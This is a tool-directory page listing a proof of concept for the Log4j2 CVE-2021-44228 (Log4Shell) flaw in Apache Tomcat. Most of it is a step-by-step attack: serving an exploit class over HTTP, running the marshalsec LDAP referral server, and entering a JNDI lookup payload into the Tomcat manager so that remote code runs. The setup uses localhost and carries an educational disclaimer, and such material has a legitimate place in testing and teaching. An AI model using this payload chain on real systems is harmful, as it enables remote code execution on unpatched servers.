Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
apache-tomcat-log4j — Log4j2 CVE-2021-44228 Vulnerability POC in Apache Tomcat | Kitploit
Tools/GitHubGitHub/many-fac3d-g0d/apache-tomcat-log4j
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubmany-fac3d-g0d/apache-tomcat-log4j

apache-tomcat-log4j

Log4j2 CVE-2021-44228 Vulnerability POC in Apache Tomcat

View Repository
54 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Log4j2 CVE-2021-44228 Vulnerability POC in Apache Tomcat

Preview

GIF

Setup

Start tomcat server

root@kitploit:~
git clone
cd apache-tomcat-10.0.14/bin
startup.bat

Serve the exploit class

root@kitploit:~
cd exploit
py -m http.server 8888
root@kitploit:~
cd exploit
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

Attack

Input ${jndi:ldap://127.0.0.1:1389/Exploit} in the field 'XML Configuration file path' inside http://localhost:8080/manager/html manager app

Exploit class is loaded and RCE loaded (Calculator app will be opened)

Disclaimer

The repo is just a POC done for educational purpose. The repo owner is not responsible for any damages done. As a moral note, Don't be evil.

References

LDAP exploit https://github.com/mbechler/marshalsec

Download Tool